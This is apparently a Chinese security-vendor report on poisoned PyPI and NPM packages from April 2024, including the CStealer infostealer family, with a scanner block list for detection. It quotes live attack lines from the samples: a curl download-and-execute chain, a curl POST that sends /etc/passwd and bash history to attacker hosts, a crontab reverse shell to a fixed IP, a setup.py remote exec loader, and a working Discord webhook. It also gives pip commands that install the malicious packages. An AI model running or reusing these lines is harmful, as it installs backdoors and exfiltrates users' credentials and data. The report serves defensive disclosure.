在4月份捕获的恶意投毒组件中，信息窃取攻击占比高达93%，其中系统基础信息、系统密码文件、系统日志、用户信息、网络配置、DNS服务器IP、浏览器Cookie及登录凭证等敏感信息是攻击者的主要窃取目标。值得关注的是，Pypi仓库发生多起CStealer窃密后门以及挖矿后门投毒；其次，通过远控木马和反向Shell后门进行远控投毒的攻击呈现逐步上涨趋势。相较于3月份，针对数字钱包应用的攻击有较大幅度减少。

Part 1

系统信息外传

收集到的系统敏感信息将被外传给攻击者控制的服务接口：https://pypi-index.org/process_data

pip3 install rhermann -i https://pypi.tuna.tsinghua.edu.cn/simple

Part 2

恶意Shell命令执行

bash -c 'curl -sSL https://research20934i.sherlockshat007.workers.dev -o script.sh && chmod +x script.sh && ./script.sh && rm -f script.sh'

恶意bash命令通过curl从攻击者服务器(https://research20934i.sherlockshat007.workers.dev)拉取第二阶段恶意bash脚本（script.sh）受害者系统上执行。

第二阶段bash脚本内容如上所示，其内嵌了一段编码后（先base64编码再字符串反转）的bash脚本代码，进一步解码后获取第三阶段真实的恶意bash代码解码（如下所示），其主要目的是将系统密码文件/etc/passwd、bash历史文件~/.bash_history 外传到攻击者服务器（https://8b53a8d8a1c2.sherlockshat007.workers.dev）

curl -X POST -H "Hostname: $(hostname)" -H "packagetype: NPM" -H "Whoami: $(whoami)" -H "Pwd: $(pwd)" -d "Install Directory: \n $(ls -la) \n Security Groups: \n $(id) \n User Directory: \n $(ls ~)\n etc-passwd: \n $(cat /etc/passwd ) \n Installed NPM modules: \n $(npm ls)\n bash history: \n $(cat ~/.bash_history)" -H "secureforward: lksadf8q3elk39" -H "Content-Type: text/plain" https://8b53a8d8a1c2.sherlockshat007.workers.dev

Part 3

反向Shell后门

__import__("os").system("(crontab -l > .tab ; echo "*/5 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/95.179.177.74/1337 0>&1'" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1")

pip3 install user-agents-parsers -i https://pypi.tuna.tsinghua.edu.cn/simple

4月25~26号, 悬镜供应链安全情报中心在Pypi官方仓库中捕获14个伪装http客户端开展CStealer窃密后门攻击的投毒包，涉及multiplerequests、multihttp以及multihttps。这些恶意包主要针对Windows平台Python开发者，恶意包在安装时会远程加载CStealer后门到受害者系统上执行，该后门会窃取受害者系统敏感信息、主流浏览器隐私数据、数字货币钱包应用数据以及系统屏幕截屏等。此外，后门还会尝试驻留Windows系统启动目录实现开机自启动。

以multihttps恶意包2.32.5版本为例，当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或依赖引用恶意组件包时，将触发执行Python安装包setup.py中第一阶段恶意代码（如下图所示）。

第一阶段恶意代码进一步从投毒者服务器上拉取第二阶段恶意代码并执行。

from urllib import requestpackage_url = "https://frvezdffvv.pythonanywhere.com/getpackage"package_name = request.urlopen(package_url).read()exec(base64.b64decode(package_name))

第二阶段恶意代码经过base64编码，如下所示：

Base64解码后还原出真实的第二阶段恶意代码，如下所示：

经代码分析后确认该恶意代码是github开源CStleaer后门项目的变种版本。

https://github.com/can-kat/cstealer/blob/main/cstealer.py

该CStealer后门主要包括以下功能：

1. 收集系统敏感信息

2. 收集浏览器隐私数据

3. 收集数字钱包应用数据

4. 系统屏幕截屏

5. 开机自启动

关于CStealer后门详细分析可参考《恶意Py包伪装HTTP组件开展CStealer窃密后门攻击》

如下所示，CStealer后门窃取的敏感数据包括受害者系统的屏幕截屏都将发送到投毒者webhook接口上。

https://discord.com/api/webhooks/1232850034068951061/T9KYVDomdrducNo_ruHMwHqxePkIfSiKJumxUHggS82EhLTCviZT5F_JOiqVnnP9p6VW

截至目前，这些CStealer恶意Py包在Pypi官方仓库上已被下载超过2200次。

以multihttps为例，目前该恶意py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。

以国内清华大学镜像源为例，可通过以下命令测试安装该恶意组件包。

pip3 install multihttps -i https://pypi.tuna.tsinghua.edu.cn/simple

针对本分析报告中的投毒样本，开发者可使用OpenSCA-cli，将受影响的组件包按如下示例保存为db.json文件（可参考总结中提到的组件包信息按格式增减），直接执行扫描命令（opensca-cli -db db.json -path ${project_path}），即可快速获知您的项目是否受到文中所披露的投毒包的影响。

[  {    "product": "monopulips",    "version": "[0.1.0, 0.1.5]",    "language": "javascript",    "id": "XMIRROR-MAL45-31C14E5C",    "description": "NPM组件monopulips存在恶意代码，远程下载恶意bash命令执行。",    "release_date": "2024-04-02"  },  {    "product": "lyft-core",    "version": "[999.3.9]",    "language": "python",    "id": "XMIRROR-MALF5-C41B3019",    "description": "Python组件lyft-core存在恶意代码，执行恶意bash命令执行。",    "release_date": "2024-04-04"  },  {    "product": "user-agents-parsers",    "version": "[2.2.1]",    "language": "python",    "id": "XMIRROR-MAL45-A43ABEDD",    "description": "Python组件user-agents-parsers存在恶意代码，利用反向shell后门攻击Linux系统开发者。",    "release_date": "2024-04-04"  },  {    "product": "user-agents-parser",    "version": "[2.2.2, 2.2.3]",    "language": "python",    "id": "XMIRROR-MAL45-38C6CDD2",    "description": "Python组件user-agents-parser存在恶意代码，利用反向shell后门攻击Linux系统开发者。",    "release_date": "2024-04-07"  },  {    "product": "useragent-api",    "version": "[3.1.1, 3.1.4, 3.1.5]",    "language": "python",    "id": "XMIRROR-MAL45-DF933A23",    "description": "Python组件useragent-api存在恶意代码，劫持数字货币钱包应用。",    "release_date": "2024-04-09"  },  {    "product": "py-colorprinting",    "version": "[0.1.1, 0.1.2, 0.1.3, 0.1.5]",    "language": "python",    "id": "XMIRROR-MAL45-62B107C3",    "description": "Python组件py-colorprinting存在恶意代码，远程下载并执行挖矿后门。",    "release_date": "2024-04-10"  },  {    "product": "rhermann-sds",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-CC99C1A2",    "description": "Python组件requests-http存在恶意代码，窃取系统敏感信息。",    "release_date": "2024-04-15"  },  {    "product": "rhermann-ct",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-10EEFB21",    "description": "Python组件rhermann-ct存在恶意代码，窃取系统敏感信息。",    "release_date": "2024-04-15"  },  {    "product": "rhermann",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-7BFF9F62",    "description": "Python组件rhermann存在恶意代码，窃取系统敏感信息。",    "release_date": "2024-04-16"  },  {    "product": "rhermann-sdsm",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-208AAF32",    "description": "Python组件rhermann-sdsm存在恶意代码，窃取系统敏感信息。",    "release_date": "2024-04-16"  },  {    "product": "djs-log",    "version": "[1.1.0, 1.1.1]",    "language": "javascript",    "id": "XMIRROR-MAL45-579E44E0",    "description": "NPM组件djs-log存在恶意代码，远程下载并执行恶意木马程序。",    "release_date": "2024-04-19"  },  {    "product": "multiplerequests",    "version": "[2.31.0, 2.31.1, 2.31.2, 2.31.3, 2.31.4, 2.31.5]",    "language": "python",    "id": "XMIRROR-MAL45-7DF79312",    "description": "Python组件multiplerequests存在恶意代码，利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-24"  },  {    "product": "multihttp",    "version": "[2.31.12]",    "language": "python",    "id": "XMIRROR-MAL45-B1487A8",    "description": "Python组件multihttp存在恶意代码，利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-26"  },  {    "product": "multihttps",    "version": "[2.31.11]",    "language": "python",    "id": "XMIRROR-MAL45-14D9F4B5",    "description": "Python组件multihttps存在恶意代码，利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-26"  }]

根据2024年4月份捕获的开源组件投毒统计数据以及分析报告来看，投毒攻击手法和目标呈现多样化趋势。NPM仓库依旧是投毒攻击的重点目标，敏感数据窃取仍是主流攻击，此外，针对数字钱包应用的劫持攻击以及挖矿后门投毒攻击也日趋严重。

悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心，依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力，对全球数字供应链安全漏洞、投毒事件、组件风险等进行实时动态监测与溯源分析，为用户智能精准预警“与我有关”的数字供应链安全情报。

＋

推荐阅读

关于“悬镜安全”

悬镜安全，起源于北京大学网络安全技术研究团队”XMIRROR”，创始人子芽。作为数字供应链安全开拓者和DevSecOps敏捷安全领导者，始终专注于以“代码疫苗”技术为内核，凭借原创专利级”全流程数字供应链安全赋能平台+敏捷安全工具链+供应链安全情报服务”的第三代DevSecOps数字供应链安全管理体系，创新赋能金融、车联网、通信、能源、政企、智能制造和泛互联网等行业用户，构筑起适应自身业务弹性发展、面向敏捷业务交付并引领未来架构演进的共生积极防御体系，持续守护中国数字供应链安全。